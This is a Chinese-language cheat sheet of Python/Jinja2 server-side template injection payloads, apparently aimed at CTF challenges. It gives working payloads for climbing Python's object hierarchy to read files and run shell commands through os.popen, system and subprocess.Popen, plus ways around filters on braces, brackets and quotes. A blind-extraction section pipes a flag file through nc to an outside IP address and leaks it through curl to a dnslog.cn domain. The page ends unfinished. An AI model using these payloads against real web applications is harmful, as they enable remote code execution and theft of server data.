ssti_payload

常见python ssti payload

0X00 无过滤

1、先得出Object

 //一下输出都是 <class 'object'>
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
''.__class__.__base__
requests.__class__.__mro__[1]

2、接着得出Object的子类

''.__class__.__base__.__subclasses__()

3、在Object子类中查找要利用的类

s = [].__class__.__base__.__subclasses__()
for i in s:
j = i
i = str(i)
if 'os' in i:
print(i,s.index(j))

能利用的类:

python版本不同所在的位置也不同,具体快润通过上述简单脚本查找

# <class '_frozen_importlib_external.FileLoader'> 94  文件读取
''.__class__.__mro__[1].__subclasses__()[94].get_data(0,'/flag')


# <class 'file'> 可能没有
''.__class__.__mro__[1].__subclasses__()[40]('文件路径').read() #读
''.__class__.__mro__[1].__subclasses__()[40]('文件路径','写的方式').write() #写


# <class '_sitebuiltins._Printer'> 136
''.__class__.__base__.__subclasses__()[136].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')


# <class 'os._wrap_close'> 133
"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('whoami').read()


# <class ‘warnings.catch_warnings 146
''.__class__.__bases__[0].__subclasses__()[146].__init__.__globals__['__builtins__']['open']('./pic.txt').read() #读文件,write为写

[].__class__.__base__.__subclasses__()[146].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')# 调用system,不一定有,按照实际来


#<class ‘subprocess.Popen’> 不一定有
{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flag',shell=True,stdout=-1).communicate()[0].strip()}}



包含__builtins__类或者__import__方法的类也能利用

查找脚本:

s = ''__class__.__base__.__subclasses__()
for item in s:
try:
if '__builtins__' in item.__init__.__globals__: #或者'__import__'
print(s.index(item), item)
except:
pass

存在__builtins__类的能用以下payload:

.__init__.__globals__['__builtins__']['__import__']('os').system('whoami')

.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

含有__import__方法的用以下payload:

.__init__.__globals__['__import__']('os').system('whoami')

4、其他方式:

{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

{{url_for.__globals__.os.popen("whoami").read()}} #jinja2

#这条方式可以不用手动查找可用类,这里查找的是<class ‘subprocess.Popen’>类
{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('cat flag').read()}}{% endif %}{% endfor %}

0X01 过滤 {{ }}

模板中除了{{}}的渲染方法,还有{% %}能直接执行python语句

{% print(1) %}

payload: #参照无过滤的,将语句加入{% print() %}中即可
{% print(config.__class__.__init__.__globals__['os'].popen('whoami').read()) %}

0X02 盲注,即无回显类型的

无回显的可使用nc将回显带回服务器上或者使用dnslog带出

#nc带出
{{config.__class__.__init__.__globals__['os'].popen('cat flag | nc 172.31.214.44 4444')

#dnslog带出
{{config.__class__.__init__.__globals__['os'].popen('curl http://`cat flag`.yuoo5d.dnslog.cn').read()}}
nc带出:

先在vps上监听端口

nc -lvp 4444

打上payload:

{{config.__class__.__init__.__globals__['os'].popen('cat flag | nc 172.31.214.44 4444')}}

image-20221117142157861
dnslog带出:
image-20221117140433819

0X03 过滤中括号 [ ]

使用__getitem__()代替索引选择,例如,[80] __getitem__(80);

使用__getattribute__类的,例如,''.__class__ ''.__getattribute__('__class__')

0X04 过滤引号 ''、""

使用POST传参或者Cookie传参


(忙,待补充~)